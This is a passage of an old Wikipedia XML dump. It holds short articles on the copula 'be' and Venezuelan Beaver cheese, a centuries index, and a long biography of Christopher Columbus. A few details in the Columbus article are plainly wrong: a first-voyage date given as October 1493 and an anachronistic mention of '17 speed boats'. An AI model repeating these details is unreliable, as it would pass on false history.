In [[ontology]], philosophical discussions of the word &quot;be&quot; and its conjugations takes place over the meaning of the word ''is,'' the third person singular form of 'be', and whether the other senses can be [[reduction|reduced]] to one sense.  For example, it is sometimes suggested that the &quot;is&quot; of existence is reducible to the &quot;is&quot; of property attribution or class membership; to be, [[Aristotle]] held, is to be ''something''.  Of course, the gerund form of &quot;be&quot;, ''being'', is its own (vexed) topic: see [[being]] and [[existence]].

==Copula as subset relator==
From one perspective, the copula always relates two things as subsets.  Take the following examples:
#''John is a doctor.''
#''John and Mary are doctors.''
#''Doctors are educated.''
#''Mary is running.''
#''Running is fun.''

Example 1 includes John in the set of all doctors.  Example 2 includes John and Mary both in the set of all doctors.  Example 3 includes the set of doctors in the set of those who are educated.

Example 4 is different.  Example 4 includes Mary's [[Stative verb|state]] at the time of utterance in the [[Dynamic verb|set of states consistent with running]].  Example 5 then includes the set of states consistent with running in the set of states consistent with fun.


[[Category:Parts of speech]]
[[Category:Verb types]]

[[de:Kopula]]
[[et:Koopula]]
[[ga:Copail]]
[[hr:Pomoćni glagoli]]
[[hu:Kopula]]
[[ja:コピュラ]]
[[sv:Kopula]]</text>
    </revision>
  </page>
  <page>
    <title>Cheese/Gruyere</title>
    <id>5631</id>
    <revision>
      <id>32008359</id>
      <timestamp>2005-12-19T20:54:07Z</timestamp>
      <contributor>
        <username>Esprit15d</username>
        <id>379272</id>
      </contributor>
      <comment>fixed redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Gruyère (cheese)]]</text>
    </revision>
  </page>
  <page>
    <title>Venezuelan Beaver cheese</title>
    <id>5632</id>
    <revision>
      <id>20868705</id>
      <timestamp>2005-08-12T18:15:49Z</timestamp>
      <contributor>
        <username>MakeRocketGoNow</username>
        <id>71825</id>
      </contributor>
      <comment>dab link</comment>
      <text xml:space="preserve">'''Venezuelan Beaver cheese''' is a variety of [[cheese]] referred to in the &quot;[[Cheese Shop sketch]]&quot; from ''[[Monty Python's Flying Circus]]''.  Although this delicacy appears to be entirely fictional, various recipes for Venezuelan Beaver cheese have in fact been published.  The active ingredients  generally include [[beaver]] milk (Venezuelan beavers apparently preferred, though [[Venezuela]] has no native beavers), [[rennet]] and salt.

Venezuelan Beaver cheese also makes an appearance in [[Sierra Entertainment|Sierra]]'s computer adventure game ''[[Leisure Suit Larry|Leisure Suit Larry VII]]'', and in the webcomic ''[[Triangle and Robert]]''.

[[Category:Cheeses]]
[[Category:Monty Python]]
[[Category:Fictional foods]]

[[da:Venezuelansk bæverost]]</text>
    </revision>
  </page>
  <page>
    <title>Centuries</title>
    <id>5634</id>
    <revision>
      <id>39470910</id>
      <timestamp>2006-02-13T09:45:15Z</timestamp>
      <contributor>
        <ip>203.145.133.223</ip>
      </contributor>
      <text xml:space="preserve">These pages contain the trends of [[millennium|millennia]] and [[century|centuries]]. The individual century pages contain lists of decades and years. See [[history]] for different organizations of historical events.  See [[calendar]] and [[list of calendars]] for other groupings of years.

For earlier time periods, see [[cosmological timeline]], [[geologic timescale]], [[evolutionary timeline]], [[pleistocene]], and [[logarithmic timeline]].

* '''[[Paleolithic]]'''
* '''[[10th millennium BCE]]''' | '''[[9th millennium BCE]]''' | '''[[8th millennium BCE]]'''
* '''[[7th millennium BCE]]''' | '''[[6th millennium BCE]]''' | '''[[5th millennium BCE]]'''

{|
! style=&quot;background-color:#efefef;&quot; | Millennium || align=&quot;center&quot; colspan=&quot;10&quot; | Century
|-
| style=&quot;background-color:#efefef;&quot; | '''[[4th millennium BCE|4th BCE]]''':
| align=right | [[40th century BCE|40th BCE]]
| align=right | [[39th century BCE|39th BCE]]
| align=right | [[38th century BCE|38th BCE]]
| align=right | [[37th century BCE|37th BCE]]
| align=right | [[36th century BCE|36th BCE]]
| align=right | [[35th century BCE|35th BCE]]
| align=right | [[34th century BCE|34th BCE]]
| align=right | [[33rd century BCE|33rd BCE]]
| align=right | [[32nd century BCE|32nd BCE]]
| align=right | [[31st century BCE|31st BCE]]
|-
| style=&quot;background-color:#efefef;&quot; | '''[[3rd millennium BCE|3rd BCE]]''':
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    </revision>
  </page>
  <page>
    <title>Christopher Columbus</title>
    <id>5635</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42151358</id>
      <timestamp>2006-03-04T03:56:15Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/205.188.117.13|205.188.117.13]] ([[User talk:205.188.117.13|talk]]) to last version by Mr Chuckles</comment>
      <text xml:space="preserve">:''For information about the film director, see the article on [[Chris Columbus]].''
{|align=&quot;right&quot;
|[[Image:Face Christopher Columbus.jpg|thumb|239px|No authentic contemporary portrait of Columbus has been found. This portrait of Christopher Columbus, in the Sala de los Almirantes, Royal Alcazar, Seville, was painted by Alejo Fernández between 1505 and 1536. It is the only state sponsored portrait of the First Admiral of the Indies. Photo by Columbus Historian Manuel Rosa]]
|-
|
{| style=&quot;float:right; border:1px solid; margin:5px&quot;
|-
! bgcolor=lightgrey | [[English Language|English]] 
| bgcolor=lightblue | Christopher Columbus
|-
|| [[Latin]] ||  Christoferens Columbus
|-
|| [[Italian language|Italian]] || Cristoforo Colombo
|-
|| [[French language|French]] ||  Christophe Colomb
|-
|| [[Spanish language|Spanish]] || Cristóbal Colón
|-
|| [[Catalan language|Catalan]] || Cristòfor Colom
|-
|| [[Portuguese language|Portuguese]] || Cristóvão Colombo
|-
|| [[Arabic language|Arabic]] ||  كريستوفر كولومبوس
|-
|| [[Chinese language| Chinese]] || 哥倫布
|-
|| [[Czech language| Czech]] || Kryštof Kolumbus
|-
|| [[Danish language|Danish]] || Christoffer Columbus
|-
|| [[Dutch language|Dutch]] || Christoffel Columbus
|-
|| [[Finnish language|Finnish]] || Kristoffer Kolumbus
|-
|| [[German language|German]] ||  Christoph Kolumbus
|-
|| [[Georgian language|Georgian]] || ქრისტეფორე კოლუმბი
|-
|| [[Greek language|Greek]] || Χριστόφορος Κολόμβος
|-
|| [[Hebrew language|Hebrew]] || כריסטופר קולומבוס
|-
|| [[Hungarian language|Hungarian]] || Kolombusz Kristóf
|-
|| [[Japanese language|Japanese]] || クリストファー コロンバス
|-
|| [[Korean language|Korean]] || 크리스토퍼 콜럼버스
|-
|| [[Norwegian language|Norwegian]] ||  Christopher Columbus
|-
|| [[Polish language|Polish]] ||  Krzysztof Kolumb
|-
|| [[Romanian language|Romanian]] || Cristofor Columb
|-
|| [[Russian language|Russian]] || Христофор Колумб
|-
|| [[Persian language|Persian]] ||  كريستوف كولومب
|-
|| [[Turkish language|Turkish]] ||  Kristof Kolomb
|}
|}
'''Christopher Columbus''' ([[October 30]] [[1451]]? &amp;ndash; [[20 May]] [[1506]]) was an [[explorer]] and [[trade]]r who crossed the [[Atlantic Ocean]] and reached the [[Americas]] on [[October 12]], [[1492]] under the flag of [[Castile]].  [[History]] places a great significance on his landing in America in 1492, with the entire period of the history of the Americas before this date usually known as [[Pre-Columbian]], and the anniversary of this event, [[Columbus Day]], is celebrated in many parts of America. Although there is evidence of [[Pre-Columbian trans-oceanic contact|Pre-Columbian trans-Atlantic Ocean European contact]], Columbus is commonly credited as &quot;the&quot; European discoverer of the Americas because of the profound impact his contact wrought on history.  His voyage marked the beginning of the European exploration and colonization of the Americas.

It is generally assumed he was [[Genova|Genoese]], although some historians claim he could have been born in other places, from the [[Aragonese Empire|Crown of Aragón]] to the Kingdoms of [[Galicia (Spain)|Galicia]] or [[Portugal]], or in the [[Greece|Greek]] island of [[Chios]], among others.  The real name of the explorer is also unknown; see the section on Columbus' national origin for a discussion of his origin and names. 

==Early life==
There are various versions of Columbus' origins and life before 1476. Research today is casting doubt on the traditional account and DNA may soon prove his true origins. (''See'' [[Christopher Columbus#Columbus' national origin|Columbus' national origin]].) The account that has traditionally been supported by most historians is as follows:

It is thought that Columbus was born between [[August 26]] and [[October 31]] in the year 1451, in the Italian port city of [[Genoa]]. His father was Domenico Colombo, a woollens merchant, and his mother was Susanna Fontanarossa, the daughter of a woollens merchant. Christopher had three younger brothers, [[Bartolomeo Columbus|Bartolomeo]], Giovanni Pellegrino, and Giacomo, and a sister, Bianchinetta.

In 1470, the family moved to [[Savona]], where Christopher worked for his father in wool processing. During this period, he studied [[cartography]] with his brother Bartolomeo. Christopher received almost no formal education; a voracious reader, he was largely self-taught.

In 1474, Columbus joined a ship of the [[Spinola Financiers]], who were Genoese patrons of his father. He spent a year on a ship bound towards [[Chios]] (an island in the [[Aegean Sea]]) and, after a brief visit home, spent a year in Chios. It is believed that this is where he recruited some of his sailors.

In 1476, a commercial expedition gave Columbus his first opportunity to sail into the Atlantic Ocean. The fleet came under attack by [[French privateers]] off the [[Cape of St. Vincent]], Portugal. Columbus' ship was burned and he swam six miles to shore.

[[Image:colombus genoa.jpg|right|thumb|Columbus monument in Genoa]]

By 1477, Columbus was living in [[Lisbon]]. Portugal had become a center for maritime activity, thanks to Infante Henrique (Prince Henry the Navigator), who commandeered the Age of Discovery. Henrique's ships sailed for [[England]], [[Ireland]], [[Iceland]], [[Madeira]], [[Azores|the Azores]], and [[Africa]].  Columbus' brother Bartolomeo worked as a mapmaker in Lisbon. At times, the brothers worked together as [[draftsmen]] and book collectors.

He became a merchant sailor with the Portuguese fleet, and sailed to Iceland via Ireland in 1477. He sailed to Madeira in 1478 to purchase sugar, and along the coasts of West Africa between 1482 and 1485, reaching the Portuguese post of [[Elmina Castle]] in the [[Gulf of Guinea]] coast.

In 1479, Christopher Columbus married Felipa Perestrello Moniz, a daughter from a noble Portuguese family with some Italian ancestry. Felipa's father, [[Bartolomeu Perestrelo]], had partaken in finding the [[Madeira Islands]] and owned one of them ([[Porto Santo Island]]), but had died when Felipa was a baby, leaving his second wife a wealthy widow. As part of his dowry, Columbus received all of Perestrello's charts of the winds and currents of the [[Portuguese Empire|Portuguese possessions]] on the Atlantic. Columbus and Felipa had a son, [[Diego Colón]] in 1480. Felipa died in January of 1485.  Columbus later found a lifelong partner in Spain, an orphan named Beatriz Enriquez. She was living with a cousin in the weaving industry of [[Córdoba, Spain|Córdoba]]. They never married, but Columbus left Beatriz a rich woman, and directed Diego to treat her as his own mother. The two had a son, Ferdinand, in 1488. Both boys served as pages to Prince [[Juan of Aragon]], son of [[Ferdinand II of Aragon|Ferdinand]] and [[Isabella I of Castile|Isabella of Castile]], and each later contributed, with fabulous success, to the rehabilitation of their father's reputation.

==Columbus' theories==
[[Christianity|Christian]] Europe, which had long enjoyed safe passage to [[India]] and [[China]] — sources of valued goods such as [[silk]] and [[spices]] — under the [[hegemony]] of the [[Mongol Empire]] (the ''Pax Mongolica'', or &quot;Mongol peace&quot;), was now, after the fragmentation of the Mongol Empire, under complete economic [[blockade]] by [[Muslim]] states.  In response to Muslim domination on land, Portugal sought an eastward sea route to the [[Indies]], and promoted the establishment of trading posts and later colonies along the African coast. Columbus had a different idea. By the 1480s, he had developed a plan to travel to the Indies (then construed roughly as all of south and east Asia) by instead sailing directly west across the &quot;Ocean Sea&quot; (the Atlantic).

It is sometimes claimed that the reason Columbus had difficulty obtaining support for his plan was that Europeans believed that the [[flat earth|Earth was flat]]. This myth can be traced to [[Washington Irving]]'s 1828 novel, ''The Life and Voyages of Christopher Columbus''.  In fact, what was at issue was not the shape, but the circumference of the earth.

The fact that the Earth is round was evident to most people of Columbus' time, especially to sailors, explorers and navigators.  Indeed, [[Eratosthenes]] (276-194 BCE) had already, in ancient Alexandrian times, accurately calculated the Earth's circumference.  Most scholars accepted [[Ptolemy]]'s claim that the terrestrial landmass (for Europeans of the time, comprising Eurasia and Africa) occupied 180 degrees of the terrestrial sphere, leaving 180 degrees of water.

Columbus, however, accepted the calculations of [[Pierre d'Ailly]], that the landmass occupied 225&amp;deg;, leaving only 135&amp;deg; of water. Moreover, Columbus believed that 1&amp;deg; represented a shorter distance on the earth's surface than was commonly held. Finally, he read maps as if the distances were calculated in [[Roman mile]]s (1,524 meters, or 5,000 feet), rather than in [[nautical mile]]s (1,853.99 meters, or 6,082.66 feet, at the equator). He therefore calculated the circumference of the Earth as 30,600 km (19,000 modern statute miles) at most, and the distance from the [[Canary Islands]] to Japan at 2,400 nautical miles (some 4,444 km). There are some documents pre-dating 1492 that make reference to land beyond [[Greenland]] (discovered by the Vikings[http://webexhibits.org/vinland/images/middle-voyages-map-2.jpg]), one of which was found, [[Navigatio Brendani]], in the Royal archives in Lisbon. It has been suggested that Columbus knew of this document, and believed that this land was Asia, thus seeming to confirm the calculations of Pierre d'Ailly and giving Columbus the confidence to go ahead with his voyage. This is speculative, as there is no evidence that Columbus ever saw the document.

The problem facing Columbus was that experts did not agree with his estimate of the distance to the Indies.  The true circumference of the Earth is some 40,000 km (24,900 statute miles of 5,280 feet each), and the distance from the Canary Islands to Japan is some 10,600 nautical miles (19,600 km).  No ship in the fifteenth century could carry enough food or sail fast enough from the Canary Islands to Japan.  Most European sailors and navigators concluded, correctly, that sailors undertaking a westward voyage from Europe to Asia would die of starvation or thirst long before reaching their destination.

Those experts were right, but Spain, only recently unified through the marriage of Ferdinand and Isabella, and just Christianized through the expulsion of the Muslims and Jews, was desperate for a competitive edge over other European countries, in trade with the East Indies.  Columbus promised them that edge.

Columbus was wrong about the circumference of the Earth and the distance from the Canary Islands to Japan.  But most Europeans were wrong in thinking that the aquatic expanse between Europe and Asia was uninterrupted. Although Columbus died believing he had opened up a direct nautical route to Asia, in fact, he established a nautical route between Europe and the Americas.  It was this route to the Americas, rather than to Japan, that gave Spain the competitive edge it sought in developing a mercantile empire.

By his third voyage, in 1498, Columbus had come to the conclusion that the Earth was [[pear-shaped]]:
:&quot;I had always read that the world, land and sea, was spherical, and the authority and experience of Ptolemy and all the rest who have written about this place supported and demonstrated this idea, together with eclipses of the moon and other illustrations they make from East to West, such as the elevation of the North Pole in the southern hemisphere; now I have seen so much deformity that I started to think about the world and found that it was not round as they write, but that it is shaped like a pear which is round except where the stalk is, which there is higher...&quot; [http://www.cristobalcolondeibiza.com/2eng/2eng13.htm]

==Columbus' campaign for funding==
[[Image:Christopher Columbus - Bronze - Belgrave Square - London.jpg|thumb|right|Columbus sits among the flowers and trees of Belgrave Square, London]]
Columbus first presented his plan to the court of Portugal in 1485. The king's experts believed that the route would be longer than Columbus thought (the actual distance is even longer than the Portuguese believed), and they denied Columbus' request. It is probable that he made the same outrageous demands for himself in Portugal that he later made in Spain, where he went next. He tried to get backing from the monarchs Ferdinand of [[Aragon]] and Isabella I of [[Castile]], who, by marrying, had united the largest kingdoms of Spain and were ruling them together.

After seven years of lobbying at the Spanish court, where he was kept on a salary to prevent him from taking his ideas elsewhere, he was finally successful in 1492. Ferdinand and Isabella had just conquered [[Granada]], the last Muslim stronghold on the [[Iberian peninsula]], and they received Columbus in Córdoba, in the monarchs' ''[[Alcázar]]'' or castle. Isabella finally turned Columbus down on the advice of her &quot;think tank&quot;, and he was leaving town in despair, when Ferdinand lost his patience. Isabella sent a royal guard to fetch him and Ferdinand later rightfully claimed credit for being &quot;the principal cause why those islands were discovered.&quot;

About half of the financing was to come from private Italian investors, whom Columbus had already lined up. Financially broke from the Granada campaign, the monarchs left it to the royal treasurer to shift funds among various royal accounts on behalf of the enterprise. Columbus was to be made &quot;Admiral of the Ocean Sea&quot;, and granted an inheritable governorship to the new territories he would reach, as well as a portion of all profits. The terms were absurd, but his own son later wrote that the monarchs really did not expect him to return.

==Voyages==
===First voyage===
[[Image:Columbus1.PNG|thumb|left|First voyage]]
[[Image:Santa-Maria.jpg|thumb|right|A replica of the ''Santa Maria'']]
The year [[1492]], on the evening of August 3, Columbus left from [[Palos]] with three ships, the ''[[Santa Maria (ship)|Santa Maria]]'', ''[[Niña]]'' and ''[[Pinta]]''. The ships were property of [[Juan de la Cosa]] and the Pinzón brothers ([[Martin Alonzo Pinzón|Martin]] and [[Vicente Yáñez Pinzón|Vicente Yáñez]]), but the monarchs forced the Palos inhabitants to contribute to the expedition. He first sailed to the [[Canary Islands]], fortunately owned by Castile, where he reprovisioned and made repairs, and on September 6, started what turned out to be a five week voyage across the ocean.

A legend is that the crew grew so homesick and fearful that they threatened to sail back to Spain. Although the actual situation is unclear, most likely the sailors' resentments merely amounted to complaints or suggestions.

After 29 days out of sight of land, on [[7 October]] [[1493]] as recorded in the ship's log, the crew spotted shore birds flying west and changed direction to make their landfall. A later comparison of dates and migratory patterns leads to the conclusion that the birds were [[Eskimo curlew]]s and [[American golden plover]].

[[Image:Columbus Taking Possession.jpg|thumb|left|Columbus claiming possession of the New World]]
Land was sighted at 2 AM on [[12 October]] by a sailor aboard ''Pinta'' named Rodrigo de Triana. Columbus called the island he reached San Salvador, although the natives called it [[Guanahani]]. The [[Indigenous Peoples of the Americas|Native Americans]] he encountered, the [[Taíno]] or [[Arawak]], were peaceful and friendly. He wrote with such awe of the friendly innocence and beauty of these Indians that he inadvertently created the enduring myth of the [[Noble Savage]]. &quot;These people have no religious beliefs, nor are they idolaters. They are very gentle and do not know what evil is; nor do they kill others, nor steal; and they are without weapons.&quot;. No blood was shed on this first voyage; he believed conversion to Christianity would be achieved through love, not force.

On this first voyage, Columbus also explored the northeast coast of [[Cuba]] (landed on [[28 October]]) and the northern coast of [[Hispaniola]], by [[5 December]]. He believed the peaks of Cuba were the Himalayas of India, which gives one a sense of just how lost he was and how long it took the peoples of the world to map the Earth. (The vast interior of the North and South American mainlands would of course be largely mapped with the leadership of native guides and interpreters.) Here, the ''Santa Maria'' ran aground and had to be abandoned. He was received by the native [[cacique]] [[Guacanagari]], who gave him permission to leave some of his men behind. Columbus founded the settlement ''[[La Navidad]]'' and left 39 men.

On [[4 January]], [[1493]], he set sail for home by way of the [[Azores]]. He wrestled his ship against the wind and ran into one of the worst storms of the century. Leaving the island of Santa Maria in the Azores, Columbus headed for Portugal anchoring in Lisbon next to the King's harbour patrol ship on 4 March, 1493, where he was told a fleet of 100 [[caravels]] had been lost in the storm. Astoundingly, both the Niña and the Pinta were spared. Some have speculated that his landing in Portugal was intentional.

Relations between Portugal and Castile were poor at the time. Columbus wrote to the [[John II of Portugal|King of Portugal, John II]], and went to meet with him at Vale do Paraíso (north of Lisbon). After spending more than one week in Portugal, he finally set sail for Spain. Word of his finding new lands rapidly spread throughout Europe. He did not reach Spain until [[15 March]], when the story of his journey was already in its third printing. 

He was received as a hero in Spain: this was his moment in the sun. He displayed several kidnapped natives and what gold he had found to the court, as well as the previously unknown [[tobacco]] plant, the [[pineapple]] fruit, the [[Turkey (bird)|turkey]] and the sailor's first love, the [[hammock]]. Naturally, he did not bring any of the coveted [East] Indies spices, such as the exceedingly expensive [[black pepper]], [[ginger]] or [[clove]]s. In his log, he wrote &quot;there is also plenty of ''ají'', which is their pepper, which is more valuable than black pepper, and all the people eat nothing else, it being very wholesome&quot; (Turner, 2004, P11). The word ''ají'' is still used in South American Spanish for chili peppers.

===Second voyage===
[[Image:Columbus2.PNG|thumb|left|Second voyage]]
Admiral Columbus left from [[Cádiz]], Spain for his second voyage (1493-1496) on [[September 24]] [[1493]], with 17 speed boats carrying supplies, and about 1200 men to assist in the subjugation of the Taíno and the colonization of the region.  On [[October 13]], the ships left the Canary Islands, following a more southerly course than on the first voyage.

On [[November 3]] [[1493]], Columbus sighted a rugged island that he named [[Dominica]].  On the same day, he landed at [[Marie-Galante]] (which he named Santa Maria la Galante).  After sailing past Les Saintes (Todos los Santos), Columbus arrived at [[Guadaloupe]] (Santa Maria de Guadalupe), which he explored from [[November 4]] through [[November 10]].  The exact course of his voyage through the [[Lesser Antilles]] is debated, but it seems likely that Columbus turned north, sighting and naming several islands including [[Montserrat]] (Santa Maria de Monstserrate), [[Antigua]] (Santa Maria la Antigua), Redonda (Santa Maria la Redonda), [[Nevis]] (Santa María de las Nieve or San Martin), [[Saint Kitts]] (San Jorge), [[Sint Eustatius]] (Santa Anastasia), [[Saba]] (San Cristobal), and [[Saint Martin]] or [[Saint Croix]] (Santa Cruz).  Columbus also sighted the island chain of the [[Virgin Islands]], (which he named Santa Ursula y las Once Mil Virgines), and named the islands of [[Virgin Gorda]], [[Tortola]], and [[Peter Island]] (San Pedro).

Columbus continued to the [[Greater Antilles]], and landed at [[Puerto Rico]] (San Juan Bautista) on [[November 19]] [[1493]].  On [[November 22]], he returned to Hispaniola, where he found his colonists had fallen into dispute with Indians in the interior and had been killed. He established a new settlement at Isabella, on the north coast of Hispaniola where gold had first been found, but it was a poor location, and the settlement was also short-lived. He spent some time exploring the interior of the island for gold, and did find some, establishing a small fort in the interior. He left Hispaniola on [[April 24]], [[1494]] and arrived at [[Cuba]] (which he named Juana) on [[April 30]], and [[Jamaica]] on [[May 5]].  He explored the south coast of Cuba, which he believed to be a peninsula rather than an island, and several nearby islands, including the [[Isle of Youth]] (La Evangelista), before returning to Hispaniola on [[August 20]].

Before he left Spain for his second voyage, he had been directed by Ferdinand and Isabella to maintain friendly, even loving relations with the natives. However, during his second voyage he sent a letter to the monarchs proposing to enslave some of the native peoples, specifically the [[Carib]]s, on the grounds of their aggressiveness. Although his petition was refused by the Crown, in February 1495, Columbus took 1600 Arawak (a different tribe, who were hunted by the Carib) as slaves. 560 slaves were shipped to Spain; two hundred died ''en route'', probably of disease, and of the remainder, half were ill when they arrived. After legal proceedings, the survivors were released and ordered to be shipped home. Others of the 1600 were kept as slaves for Columbus' men in the Americas, and Columbus recorded using slaves for sex in his journal. A remaining 400 captives, for whom Columbus had no use, were released; they fled into the hills, making, according to Columbus, prospects for their future capture dim. Rounding up the slaves led to the first major battle between the Spanish and the Indians in the New World.

The main objective of Columbus' journey had been gold. To further this goal, he imposed a system on the natives in [[Cicao]] on [[Haiti]], whereby all those above fourteen years of age had to find a certain quota of gold, to be signified by a token placed around their necks. Those who failed to reach their quota would have their hands chopped off. Despite such extreme measures, Columbus did not manage to obtain much gold. One of the primary reasons for this was the fact that natives became infected with various diseases carried by the Europeans.

In his letters to the Spanish King and Queen, Columbus would repeatedly suggest slavery as a way to profit from the new colonies, but these suggestions were all rejected by the monarchs, who preferred to view the natives as future members of Christendom.

===Third voyage and arrest===
[[Image:Columbus3.PNG|thumb|left|Third voyage]]
[[Image:AndalusAndMorocco.jpg|100px|thumb|The arrow points to the city of [[Sanlúcar de Barrameda]] on the delta of the [[Guadalquivir River]], in [[Andalusia]].]]
On [[May 30]], [[1498]], Columbus left with six ships from [[Sanlúcar de Barrameda|Sanlúcar, Spain]] for his third trip to the New World. He was accompanied by the young [[Bartolomé de Las Casas]], who would later provide partial transcripts of Columbus' logs.  

Columbus led the fleet to the Portuguese island of Porto Santo where his wife was from. He then sailed to Madeira and spent some time there with the Portuguese captain, João Gonçalves da Camara before sailing to the [[Canary Islands]] and [[Cape Verde]], Columbus landed on the south coast of the island of [[Trinidad]] on [[July 31]].  From [[August 4]] through [[August 12]], he explored the [[Gulf of Paria]] which separates Trinidad from [[Venezuela]].  He explored the mainland of [[South America]], including the [[Orinoco]] River.  He also sailed to the islands of [[Chacachcare]] and [[Margarita Island]] and sighted and named [[Tobago]] (Bella Forma) and [[Grenada]] (Concepcion).  Initially, he described the new lands as belonging to a previously unknown new continent, but later he retreated to his position that they belonged to Asia.

Columbus returned to Hispaniola on [[August 19]] to find that many of the Spanish settlers of the new colony were discontent, having been misled by Columbus about the supposedly bountiful riches of the new world. Columbus repeatedly had to deal with rebellious settlers and Indians. He had some of his crew hanged for disobeying him. A number of returned settlers and friars lobbied against Columbus at the Spanish court, accusing him of mismanagement. The king and queen sent the royal administrator [[Francisco de Bobadilla]] in 1500, who upon arrival ([[August 23]]) detained Columbus and his brothers and had them shipped home. Columbus refused to have his shackles removed on the trip to Spain, during which he wrote a long and pleading letter to the Spanish monarchs.

Although he regained his freedom, he did not regain his prestige and lost his governorship. As an added insult, the Portuguese had won the race to the Indies: [[Vasco da Gama]] returned in September 1499 from a trip to India, having sailed east around Africa.

===Fourth and final voyage===
[[Image:Columbus4.PNG|thumb|left|Fourth voyage]]
Nevertheless, Columbus made a fourth voyage, nominally in search of the [[Strait of Malacca]] to the [[Indian Ocean]].  Accompanied by his brother Bartolomeo and his thirteen-year old son Fernando, Columbus left Cádiz, Spain on [[May 11]], [[1502]]. Columbus sailed to Arzila on the Moroccon coast to rescue the Portuguese soldiers who he heard were there under siege by the Moors. On [[June 15]], they landed at Carbet on the island of [[Martinique]] (Martinica).  A hurricane was brewing, so Columbus continued on, hoping to find shelter on Hispaniola.  Columbus arrived at [[Santo Domingo]] on [[June 29]], but was denied port.  Instead, the ships anchored at the mouth of the Jaina River.

After a brief stop at Jamaica, Columbus sailed to [[Central America]], arriving at Guanaja (Isla de Pinos) in the [[Islas de la Bahía department|Bay Islands]] off the coast of [[Honduras]] on [[July 30]].  Here Bartholomew found native merchants and a large canoe, which was described as &quot;long as a galley&quot; and was filled with cargo.  On [[August 14]], Columbus landed on the American mainland at Puerto Castilla, near [[Trujillo, Honduras]].  Columbus spent two months exploring the coasts of Honduras, [[Nicaragua]], and [[Costa Rica]], before arriving in Almirante Bay, [[Panama]] on [[October 16]].

In Panama, Columbus learned from the natives of gold and a strait to another ocean.  After much exploration, he established a garrison at the mouth of Rio Belen in January 1503. On [[April 6]], one of the ships became stranded in the river. At the same time, the garrison was attacked, and the other ships were damaged. Columbus left for Hispaniola on [[April 16]], but sustained more damage in a storm off the coast of Cuba.  Unable to travel any farther, the ships were beached in [[Saint Ann Parish, Jamaica|St. Ann's Bay, Jamaica]], on [[June 25]], [[1503]].

Columbus and his men were stranded on Jamaica for a year.  Two Spaniards, with native paddlers, were sent by [[canoe]] to get help from Hispaniola.  In the meantime, Columbus, in a desperate effort to induce the natives to continue provisioning him and his hungry men, successfully intimidated the natives by correctly predicting a [[lunar eclipse]], using astronomic tables made by Rabbi Avraham Zacuto of Spain.  Grudging help finally arrived on [[June 29]], [[1504]], and Columbus and his men arrived in [[Sanlúcar de Barrameda|Sanlúcar, Spain]], on [[November 7]].

==Later life==
[[Image:ColumbusHouseOfValladolid.jpg|thumb|right|Santa Maria statue. House of Columbus in [[Valladolid]]]]

While Columbus had always given the conversion of non-believers as one reason for his explorations, he grew increasingly religious in his later years. He claimed to hear divine voices, lobbied for a new [[crusade]] to capture [[Jerusalem]], often wore [[Franciscan]] habit, and described his explorations to the &quot;paradise&quot; as part of God's plan which would soon result in the [[Christian eschatology|Last Judgement]] and the end of the world.

In his later years, Columbus demanded that the Spanish Crown give him 10% of all profits made in the new lands, pursuant to earlier agreements. Because he had been relieved of his duties as governor, the crown felt not bound by these contracts and his demands were rejected. His family later sued for part of the profits from trade with America, but ultimately lost some fifty years later.

On [[May 20]], [[1506]], Columbus died in [[Valladolid]], fairly wealthy due to the gold his men had accumulated in Hispaniola. He was still convinced that his journeys had been along the East Coast of Asia.  Following his death, the body of Columbus underwent [[excarnation]]--the flesh was removed so that only his bones remained.  Even after his death, his travels continued: first interred in [[Valladolid]] and then at the monastery of La Cartuja in [[Seville]], by the will of his son Diego, who had been governor of Hispaniola, the remains were transferred to [[Santo Domingo]] in 1542. In 1795, the French took over, and the corpse was removed to [[Havana]]. After Cuba became independent following the [[Spanish-American War]] in 1898, Columbus' remains were moved back to the [[Cathedral of Seville]], where they were placed on an elaborate [[catafalque]]. However, a lead box bearing an inscription identifying &quot;Don Christopher Columbus&quot; and containing fragments of bone and a bullet was discovered at [[Santo Domingo]] in 1877. To lay to rest claims that the wrong relics were moved to Havana and that Columbus is still buried in the cathedral of Santo Domingo, DNA samples were taken in June 2003 (''History Today'' August 2003).

== Columbus' national origin ==
Although the vast majority of historians consider him Italian, various doubts have been expressed regarding Columbus' national origin. Even if he is generally assumed to be Italian (specifically Genoese), his background is clouded in mystery.  Very little is really known about Columbus before the mid-1470s. It has been suggested that this might have been because he was hiding something&amp;mdash;an event in his origin or history that he deliberately kept a secret.

The issue of Columbus' 'nationality' became an issue after the rise of [[nationalism]]; the issue was scarcely raised until the time of the quadricentenary celebrations in 1892 (see [[World's Columbian Exposition]]), when Columbus' Genoese origins became a point of pride for some [[Italian American]]s. In [[New York City]], rival statues of Columbus were underwritten by the Hispanic and the Italian communities, and honourable positions had to be found for each, at [[Columbus Circle]] and in [[Central Park]].

One hypothesis is that Columbus served under the French [[privateer|corsair]] [[Guillaume Casenove Coulon]] and took his surname, but later tried to hide his piracy. Some Basque historians have claimed that he was [[Basque people|Basque]]. Others have said that he was a ''[[converso]]'' (a [[Sephardi|Spanish Jew]] who publicly converted to Christianity). In Spain, even some converted Jews were forced to leave Spain after much persecution; it is known that many ''conversos'' were still practicing [[Judaism]] in secret. 

Another theory is that he was from the town [[Calvi]] on the island of [[Corsica]], which at the time was part of the Genoese republic. Because the often subversive elements of the island gave its inhabitants a bad reputation, he would have masked his exact heritage. A few others also claim that Columbus was actually [[Catalonia|Catalan]] (''Colom'').

Columbus Historian Manuel Rosa writes in Unmasking Columbus [http://www.unmaskingcolumbus.com/unmasking_columbus/ChristopherColumbus_ch01.htm] that ''Colon'' and ''Colom'' are not the same names nor do they have the same meanings. ''Columbus'' is Latin, ''Colombo'' is Italian, ''Pombo'' is Portuguese, ''Colombe'' is French and ''Colom'' is Catalan and all these translate to ''dove'' or ''pigeon'' but none of these were the name of the discoverer. Since the name ''Colon'' was a stand-in for the Greek ''Kolon'' chosen by Christopher to mean ''member'' none of the above names for ''pigeon'' are correctly applied names. 

[[Image:Ccsignature.jpg|frame|right|Sanctus, Sanctus, Altissimus, Sanctus, son of Mary &amp; Joseph, Salvador Fernandes Zarco]]

